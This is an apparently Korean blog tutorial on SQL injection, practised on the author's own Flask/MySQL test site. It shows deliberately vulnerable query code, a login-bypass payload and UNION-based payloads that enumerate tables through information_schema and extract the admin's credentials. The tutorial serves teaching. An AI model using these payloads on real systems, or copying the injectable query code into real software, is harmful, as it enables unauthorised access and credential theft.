web hacking ๐Ÿ–ฅ/techniques โŒ principles

sql-injection ๊ธฐ๋ณธ ๊ฐœ๋…๊ณผ ์˜ˆ์ œ ์‹ค์Šต

Kortsec1 2023. 8. 14. 00:06

๊ฐœ์ธ์ ์œผ๋กœ ์ •๋ณด๋ณด์•ˆ ๋ถ„์•ผ๋ฅผ ์ฒ˜์Œ ์ ‘ํ•˜๊ฒŒ๋œ ๊ณ„๊ธฐ์ด์ž,

์ง€๊ธˆ๋„ web ํ•ดํ‚น ํ•˜๋ฉด ๊ฐ€์žฅ ๋จผ์ € ๋– ์˜ค๋ฅด๋Š” ์˜ค๋Š˜์˜ ์ฃผ์ธ๊ณต

 

๋ฐ”๋กœ sql injection ์ž…๋‹ˆ๋‹ค.

 

 

๋ฒŒ์จ๋ถ€ํ„ฐ ๋‚ฏ์„ค์ง€๋งŒ ์ฝ”๋”ฉ์„ ์ ‘ํ•˜๊ธฐ๋งŒ ํ•ด๋ด๋„ ์‰ฝ๊ฒŒ ์ดํ•ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์ง€๊ธˆ๋ถ€ํ„ฐ์˜ ๋ชจ๋“  ๊ณผ์ •์€ ์ œ๊ฐ€ ์ง์ ‘ ๋งŒ๋“  ์›น์—์„œ ํ…Œ์ŠคํŠธ ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

ํ—ˆ๊ฐ€๋˜์ง€ ์•Š์€ ํƒ€ ์‚ฌ์ดํŠธ์—์„œ ๋ฌธ์ œ์‹œ, ์ฑ…์ž„์€ ๋ณธ์ธ์—๊ฒŒ ์žˆ์Œ์„ ๊ผญ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

img_1 test page; main

 

์ œ๊ฐ€ ์—ฐ์Šต์„ ์œ„ํ•ด ๋งŒ๋“  ์›น ํŽ˜์ด์ง€ ์ž…๋‹ˆ๋‹ค.

html, css, ์•ฝ๊ฐ„์˜ js๋กœ ํ”„๋ŸฐํŠธ๋ฅผ ๊ทธ๋ฆฌ๊ณ  flask์™€ mysql๋กœ ๋ฐฑ์—”๋“œ๋ฅผ ๊ตฌ์—ฐํ•˜์˜€์Šต๋‹ˆ๋‹ค.

 

 

๋‹ค๋“ค SQL์— ๋Œ€ํ•ด์„œ ๋“ค์–ด๋ณด์…จ๋‚˜์š”?

SQL์€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ๋งŒ๋“ค์–ด์ง„ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด์ž…๋‹ˆ๋‹ค.

 

๊ทธ๋ ‡๋‹ค๋ฉด sql injection ๊ธฐ๋ฒ•์€ sql๊ตฌ๋ฌธ์„ ์‚ฝ์ž…ํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ ‘๊ทผํ•˜๋Š” ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ž„์„ ์œ ์ถ”ํ•ด ๋ณผ ์ˆ˜ ์žˆ๊ฒ ๋„ค์š”.

 

๋Œ€ํ‘œ์ ์ธ ์˜ˆ์‹œ๋กœ ํ•œ๋ฒˆ ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

 

img_2 test page; login

 

ํ‰๋ฒ”ํ•œ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ์ž…๋‹ˆ๋‹ค.

์ œ๊ฐ€ ๋ฏธ๋ฆฌ ๋“ฑ๋กํ•ด๋‘” ๊ณ„์ •์ •๋ณด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

name email password
guest1 guest1@gmail.com 1234
admin admin@gamil.com admin1234
1234 1234 1234

 

guest1 ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ์„ ํ•ด๋ณผ๊นŒ์š”

 

img_3 guest1 login; normal

 

์ˆœ์กฐ๋กญ๊ฒŒ ๋กœ๊ทธ์ธ์ด ๋ฉ๋‹ˆ๋‹ค.

 

 

์—ฌ๊ธฐ์„œ, ๋‹ค์‹œ ๋กœ๊ทธ์ธ ํ™”๋ฉด์œผ๋กœ ๋Œ์•„๊ฐ€์„œ ๋‹ค์Œ ๊ฐ’์„ ๋„ฃ์–ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

email password
guest1@gmail.com 1' or '1'='1

img_4 guest1 login; abnormal

 

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๋กœ๊ทธ์ธ์ด ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค.

์šฐ๋ฆฌ๊ฐ€ ๋ฐฉ๊ธˆ ๋„ฃ์—ˆ๋˜ 1' or '1'='1์— ๋ฌด์Šจ ๋น„๋ฐ€์ด ์žˆ์„๊นŒ์š”?

 

 

ํŽ˜์ด์ง€์˜ ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉฐ ์ฐจ๊ทผ์ฐจ๊ทผ ์•Œ์•„๊ฐ€ ๋ด…์‹œ๋‹ค.

 

sql = "SELECT * FROM users WHERE email='%s' AND password='%s';" % (Email, Password)
db_class = dbModule.Database()
account = db_class.executeAll(sql)
            
if account:
    for row in account[0]:
        session[row] = account[0][row]
                    
    flash("์–ด์„œ์˜ค์„ธ์š” %s๋‹˜." % session['name'])
    return redirect("/")
            
else:
    flash("์ด๋ฉ”์ผ๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.")
    return redirect('/login')

 

์ฒซ ๋ฌธ์žฅ์„ ๋ณด๋ฉด, SQL ๊ตฌ๋ฌธ์ด ๋‚˜์™€์žˆ์Šต๋‹ˆ๋‹ค.

 SELECT * FROM users WHERE email='%s' AND password='%s'; 

 

๊ทธ๋ฆฌ๊ณ , ๊ฐ๊ฐ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ email๊ณผ password๊ฐ’์„ ๋„ฃ์–ด DB์— ๋ณด๋ƒ…๋‹ˆ๋‹ค.

์œ„ ์ฟผ๋ฆฌ์— ๊ด€ํ•ด ๊ฐ„๋‹จํ•œ ์„ค๋ช…์„ ํ•˜๊ธฐ ์œ„ํ•ด ์‰ฝ๊ฒŒ ํ’€์–ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

 

๋‚ด๋ณด๋‚ด๋ผ(SELECT) users๋ž€ ํ…Œ์ด๋ธ”์—์„œ(FROM users) email์ด ~์ด๊ณ , password๊ฐ€ ~์ธ ๋ฐ์ดํ„ฐ(WHERE ~)์˜ ๋ชจ๋“ ๊ฒƒ์„(*)

 

 

 

 

 

์—ฌ๊ธฐ์„œ ๊ฐ€์žฅ ์ฒ˜์Œ๊ณผ ๊ฐ™์ด ์ •์ƒ์ ์ธ ๋กœ๊ทธ์ธ ์‹œ ์ฟผ๋ฆฌ๋ฌธ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด๋‚ด์ง‘๋‹ˆ๋‹ค.

 SELECT * FROM users WHERE email='guest1@gmail.com' AND password='1234'; 

 

WHERE ๋’ค์— ์˜ค๋Š” ์กฐ๊ฑด๋ฌธ์ด ์ดํ•ด๊ฐ€ ๊ฐ€์‹œ๋‚˜์š”?

AND๋กœ ๋ฌถ์—ฌ์žˆ๊ธฐ์—, ๋‘˜ ์ค‘ ํ•˜๋‚˜๋ผ๋„ ๊ฑฐ์ง“์ด๋ผ๋ฉด ์กฐ๊ฑด์ด ๊ฑฐ์ง“์ด ๋ฉ๋‹ˆ๋‹ค.

 

 

 

 

 

๊ทธ๋ ‡๋‹ค๋ฉด, ์šฐ๋ฆฌ๊ฐ€ ๋‘ ๋ฒˆ์งธ๋กœ ์ž…๋ ฅํ–ˆ๋˜ ๊ฐ’์œผ๋กœ ๋ณด๋‚ธ๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ์š”?

 SELECT * FROM users WHERE email='guest1@gmail.com' AND password='1' or '1'='1'

and๋กœ email๊ณผ password๊ฐ’์ด ๋ฌถ์ด๊ณ , ๊ทธ ๋’ค๋กœ or ์ด ์˜ค๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

 

 

(email='guest1@gmail.com' AND password='1') or '1'='1'

์‰ฝ๊ฒŒ ๋ณธ๋‹ค๋ฉด ์œ„์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค. ์—ฐ์‚ฐ์‹œ and๊ฐ€ or ๋ณด๋‹ค ์šฐ์„ ์ˆœ์œ„์ด๊ธฐ ๋•Œ๋ฌธ์ด์ฃ .

๊ทธ๋ง์€์ฆ‰, ํŒŒ๋ž€๋ฐ”ํƒ• ๋ถ€๋ถ„์ด ํ‹€๋ฆฌ๋”๋ผ๋„, or ๋’ค์˜ ์‹์ด ์ฐธ์ด๋ผ๋ฉด ์ „์ฒด์ ์ธ ์กฐ๊ฑด์ด ์ฐธ์ด ๋œ๋‹ค๋Š” ์†Œ๋ฆฌ์ž…๋‹ˆ๋‹ค. 

 

 

 

 

ํ•ต์‹ฌ์€ single quote ' ์— ์žˆ์Šต๋‹ˆ๋‹ค.

single quote๋ฅผ ํ†ตํ•ด ํ‹€์„ ๋ฒ—์–ด๋‚จ ์œผ๋กœ์„œ, sql ๊ตฌ๋ฌธ์„ ์‚ฌ์šฉ์ž๊ฐ€ ์ง์ ‘ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๊ฒŒ๋ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž๊ฐ€ ์†์‰ฝ๊ฒŒ db์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ •๋ง ํฐ ๋ฌธ์ œ๊ฐ€ ๋  ์ˆ˜ ์žˆ๊ฒ ์ฃ ?

๊ตฌ์ฒด์ ์œผ๋กœ db์— ์žˆ๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๊ฐ’์„ ์œ ์ถœํ•  ์ˆ˜๋„, ์‹ฌ์ง€์–ด ์กฐ์ž‘ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

 

์œ„ ์ƒํ™ฉ์„ ์ž์„ธํžˆ ์‚ดํŽด๋ณด๋ฉฐ, ์ด๋ฒˆ ๊ธฐํšŒ์— sql injection ๊ธฐ๋ฒ•์„ ํ™•์‹คํžˆ ์ดํ•ดํ•ด ๋ด…์‹œ๋‹ค.

 

 

 

db์† ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ถœํ•˜๋Š” ์ƒํ™ฉ์ž…๋‹ˆ๋‹ค.

ํ™˜๊ฒฝ์€ ๊ฐ™์€ ์›น ํŽ˜์ด์ง€ ์† ๊ฒŒ์‹œํŒ ํŽ˜์ด์ง€๋ฅผ ์ด์šฉํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

img_5 board page

 

 

์ œ๊ฐ€ ์ž„์˜๋กœ ์ž‘์„ฑํ•ด๋†“์€ ๊ธ€๋“ค์„ ์ œ์™ธํ•˜๋ฉด, ํ‰๋ฒ”ํ•œ ๊ฒŒ์‹œํŒ ์ž…๋‹ˆ๋‹ค.

์ด์ค‘ ํ•˜๋‚˜๋ฅผ ํด๋ฆญํ•˜์—ฌ ๋“ค์–ด๊ฐ€๋ด…์‹œ๋‹ค.

 

 

img_6 article page

 

 

์ œ๋ชฉ, ๋ณธ๋ฌธ, ์ž‘์„ฑ์ž ๊ทธ๋ฆฌ๊ณ  ์ž‘์„ฑ์‹œ๊ฐ์ด ๋‚˜์˜ต๋‹ˆ๋‹ค.

์œ„ url์„ ๋ณด๋ฉด, get์œผ๋กœ id๋ผ๋Š” ๊ฐ’์„ ์ „๋‹ฌํ•จ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ดํ•ด๊ฐ€ ๋น ๋ฅด์‹  ๋ถ„๋“ค์€ ์•„์‹œ๊ฒ ์ง€๋งŒ, id๋Š” ํ•ด๋‹น ๊ฒŒ์‹œ๊ธ€์˜ id๋กœ ํ•ด๋‹น ๊ฐ’์—๋”ฐ๋ผ ๋ณด์—ฌ์ง€๋Š” ๊ฒŒ์‹œ๊ธ€์ด ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.

 

img_7 article in database

 

 

๋ฐ”๋กœ ์ด ๋ถ€๋ถ„์„ ๊ณต๊ฒฉํ•˜์—ฌ ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ์ •๋ณด๋ฅผ ์ฐพ์•„๋‚ด ๋ณผ๊ฒƒ์ž…๋‹ˆ๋‹ค.

 

 

 

์‹œ์ž‘ํ•˜๊ธฐ์— ์•ž์„œ ๋จผ์ € ์•Œ์•„์•ผ ํ•  SQL ๋ฌธ๋ฒ•๊ณผ mysql์˜ ๊ตฌ์กฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

์šฐ์„  UNION ๊ตฌ๋ฌธ์ž…๋‹ˆ๋‹ค.

 

UNION์€ ์‰ฝ๊ฒŒ๋งํ•ด ์—ฌ๋Ÿฌ ๊ฐ’์„ ํ•ฉ์น˜๋Š” ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค.

์ฃผ์˜ํ•  ์ ์€ ์ปฌ๋Ÿผ์˜ ์ˆ˜๊ฐ€ ์ผ์น˜ํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค.

์•„๋ž˜ ์‚ฌ์ง„์† ์˜ˆ์‹œ๋ฅผ ๋ณด๋ฉด, ์ปฌ๋Ÿผ ์ˆ˜๊ฐ€ ๋‹ค๋ฅธ ๋‘ ๊ทธ๋ฃน์„ ๋ฌถ์œผ๋ ค ํ•˜์ž ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

img_8 about union

 

 

๋‹ค์Œ์€ group_concat ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค.

 

๋จผ์ € concat ํ•จ์ˆ˜๋Š” ์—ฌ๋Ÿฌ ๋ฌธ์ž์—ด์„ ํ•ฉ์ณ์ฃผ๋Š” ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค.

img_9 concat function

 

 

group_concat์€ ์—ฌ๋Ÿฌ ๊ฒฐ๊ณผ๋ฅผ ํ•ฉ์น˜๋Š”(์‰ฝ๊ฒŒ ์ƒ๊ฐํ•˜๋ฉด select ์˜ ๊ฒฐ๊ณผ๋ฅผ ํ•ฉ์น˜๋Š”) ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค.

img_10 group concat

 

 

 

๋‹ค์Œ์œผ๋กœ ์•Œ์•„์•ผํ•  ๊ฒƒ์€ mysql์˜ information_schema์ž…๋‹ˆ๋‹ค.

information_schema๋Š” mysql ์„œ๋ฒ„๋‚ด ์กด์žฌํ•˜๋Š” db์˜ ๋ฉ”ํƒ€์ •๋ณด(ํ…Œ์ด๋ธ”, ์ปฌ๋Ÿผ, ์ธ๋ฑ์Šค๋“ฑ์˜ ์Šคํ‚ค๋งˆ ์ •๋ณด)๋ฅผ ๋ชจ์•„๋‘” db์ž…๋‹ˆ๋‹ค.

์ฝ๊ธฐ ์ „์šฉ์ด๋ฉฐ ์‹ค์žฌํ•˜๋Š” ํ…Œ์ด๋ธ”์ด ์•„๋‹Œ, ์กฐํšŒ ์‹œ ์‹ค์‹œ๊ฐ„์œผ๋กœ ๊ฐ’์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.

์ด๋•Œ๋ฌธ์— ํฐ๊ฐ’์„ ๊ฐ€์ ธ์˜ฌ ๊ฒฝ์šฐ ์‹œ๊ฐ„์ด ์˜ค๋ž˜ ๊ฑธ๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

 

 

information_schema์† ํ…Œ์ด๋ธ”์˜ ์ข…๋ฅ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€๋ฐ, ๊ทธ์ค‘ ์šฐ๋ฆฌ๊ฐ€ ๋ด์•ผํ•  ๊ฒƒ์€ TABLES์™€ COLUMNS์ž…๋‹ˆ๋‹ค.

COLUMNS ENGINES TABLES SCHEMATA ...
๋ชจ๋“  ์Šคํ‚ค๋งˆ์˜ ์ปฌ๋Ÿผ ์‚ฌ์šฉ๋˜๋Š” ์—”์ง„ ๋ชจ๋“  ํ…Œ์ด๋ธ” ์ •๋ณด ์Šคํ‚ค๋งˆ ํ™•์ธ ...

 

 

 

 

 

 

ํ…Œ์ด๋ธ”๊ณผ ์ปฌ๋Ÿผ๋ช…์„ ๋ชจ๋ฅผ ๋•Œ ์œ ์šฉํ•˜๊ฒŒ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋ฉฐ ์ˆœ์„œ๋Š” ๋ณดํ†ต ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

ํ…Œ์ด๋ธ”๋ช… → ์ปฌ๋Ÿผ๋ช… → ํ•ด๋‹น ๋ฐ์ดํ„ฐ

 

 

 SELECT table_name FROM information_schema.tables

information_schema๋ฅผ ์ด์šฉํ•˜์—ฌ table์ด๋ฆ„์„ ์ฐพ์•„์ค๋‹ˆ๋‹ค.

 

 SELECT column_name FROM information_schema.columns WHERE table_name='~~~'

๊ธฐ์กด์— ์•Œ์•„๋ƒˆ๋˜ table ์ด๋ฆ„์„ ๋งˆ์ง€๋ง‰์— ์กฐ๊ฑด์œผ๋กœ ๊ฑธ์–ด์ค๋‹ˆ๋‹ค.

 

 SELECT col1, col2, col3 FROM ~

์ตœ์ข…์ ์œผ๋กœ ์•Œ์•„๋‚ธ table๊ณผ column๋ช…์„ ์ด์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

 

 

 

 

 

 

 

์ค€๋น„๋Š” ์ด์ฏค ํ•˜๊ณ  ๋‹ค์‹œ ์œ„ ๊ฒŒ์‹œ๊ธ€ ํŽ˜์ด์ง€๋กœ ๋Œ์•„๊ฐ€์„œ, ํ•ด๋‹น ํŽ˜์ด์ง€๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

@app.route("/article", methods=['GET'])
def article():
    article_id = request.args.get('id')
    db_class = dbModule.Database()
    
    sql = "SELECT * FROM writes WHERE id=%s;" % article_id
    article = db_class.executeAll(sql)[0]
    
    if (session['name'] == article['writer']):
        is_writer = True
    else:
        is_writer = False
    
    return render_template("article.html", article=article, is_writer=is_writer)

 

sql ์ฟผ๋ฆฌ๋ฅผ ์‚ดํŽด๋ณด๋ฉด, id๊ฐ’์„ ๊ธฐ์ค€์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ๋ถˆ๋Ÿฌ์˜ด์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 SELECT * FROM writes WHERE id='%s'

 

 

์—ฌ๊ธฐ์„œ union์„ ์ด์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ๊ฐ’๋“ค์„ ๋ถˆ๋Ÿฌ์˜ฌ ์ˆ˜ ์žˆ๊ฒ ์ฃ ?

ํ˜„์žฌ ์•„๋ฌด๋Ÿฐ ํ…Œ์ด๋ธ”๋ช…, ์ปฌ๋Ÿผ๋ช…์„ ๋ชจ๋ฅธ๋‹ค๋Š” ๊ฐ€์ •ํ•˜์— ์ฐจ๊ทผ์ฐจ๊ทผ ์ฐพ์•„๋ด…์‹œ๋‹ค.

 

 

์šฐ์„ , union์„ ํ•ด์ฃผ๊ธฐ ์œ„ํ•ด์„  ์ปฌ๋Ÿผ ์ˆ˜๋ฅผ ๋งž์ถฐ์ฃผ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

get ํŒŒ๋ผ๋ฏธํ„ฐ id ๊ฐ’์— ์•„๋ž˜์™€ ๊ฐ™์ด ๋„ฃ์–ด๋ณด๋ฉด์„œ ๊ฐœ์ˆ˜๋ฅผ ์ฐพ์•„์ค๋‹ˆ๋‹ค.

 

 -1 union select 1 

 -1 union select 1,1 

 -1 union select 1,1,1 

 ... 

 

 

๊ณ„์† ํ•˜๋‹ค๋ณด๋ฉด 5๊ฐœ์˜ ์ปฌ๋Ÿผ์ด ์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

img_11 error / success page

 

 

 

 

 

๊ณต๊ฐ„์ด ๋„“์€ ๋ณธ๋ฌธ์„ ํ™œ์šฉํ•˜์—ฌ information_schema๋ฅผ ๋’ค์ ธ๋ด…์‹œ๋‹ค. ๋‹ค์Œ ์ฟผ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜์˜€์Šต๋‹ˆ๋‹ค.

 -1 union select 1,1,(select group_concat(table_name) from information_schema.tables),1,1 

 

img_12 table names

 

 

 

 

๊ฐ€์žฅ ๋งˆ์ง€๋ง‰ ๋ถ€๋ถ„์˜ users์™€ writes ํ…Œ์ด๋ธ”์„ ์‚ด๋ฒผ๋ด…์‹œ๋‹ค.

 

 -1 union select 1,1,(select group_concat(column_name) from information_schema.columns where table_name='users'),1,1 

 -1 union select 1,1,(select group_concat(column_name) from information_schema.columns where table_name='writes'),1,1 

 

 

img_12 column names

 

 

๋”์šฑ ํฅ๋ฏธ๋กœ์›Œ ๋ณด์ด๋Š” users ํ…Œ์ด๋ธ”์„ ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

ํ…Œ์ด๋ธ” ๋ช…๊ณผ ์ปฌ๋Ÿผ๋ช…์„ ์ฐพ์•„๋ƒˆ๋‹ค๋ฉด, ํ•ด๋‹น ์ •๋ณด๋ฅผ ๋ณด๋Š” ๊ฒƒ์€ ์‹์€์ฃฝ ๋จน๊ธฐ์ผ๊ฒ๋‹ˆ๋‹ค.

admin ๊ณ„์ •์˜ ์ •๋ณด๋ฅผ ํ•œ๋ฒˆ ์ถ”์ถœํ•ด๋ด…์‹œ๋‹ค.

 

 -1 union select 1,1,(select concat(email, ', ', password) from users where name='admin'),1,1 

img_13 admin information

 

์„ฑ๊ณต์ ์œผ๋กœ admin๊ณ„์ •์˜ ์ •๋ณด๋ฅผ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

 

 

 

 

์ง€๊ธˆ๊นŒ์ง€ ์ž˜ ๋”ฐ๋ผ์˜ค์…จ๋‹ค๋ฉด sql injection์— ๋Œ€ํ•ด ๋งŽ์€๊ฒƒ์„ ์•Œ๊ฒŒ๋œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ์„ธ์›”์ด ํ๋ฅด๋ฉฐ ์ˆ˜๋งŽ์€ ๋ฐฉ์‹๋“ค์ด ์ƒ๊ฒจ๋‚ฌ๊ณ , ๊ทธ ์–‘์€ ๋ฐฉ๋Œ€ํ•ฉ๋‹ˆ๋‹ค.

 

ํ•˜๋‚˜์”ฉ ์ฐจ๊ทผ์ฐจ๊ทผ ๋‚ด๊ฒƒ์œผ๋กœ ๋งŒ๋“ค์–ด ๋‚˜๊ฐ€๋‹ค ๋ณด๋ฉด, ์ƒํ™ฉ์„ ํ—ค์ณ๋‚˜๊ฐ€๋Š” ๊ธธ์ด ๋ณด์ผ ๊ฒƒ์ด๊ณ 

์ด๋ฅผ ์œ„ํ•ด์„  ๊พธ์ค€ํ•œ ๊ด€์‹ฌ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.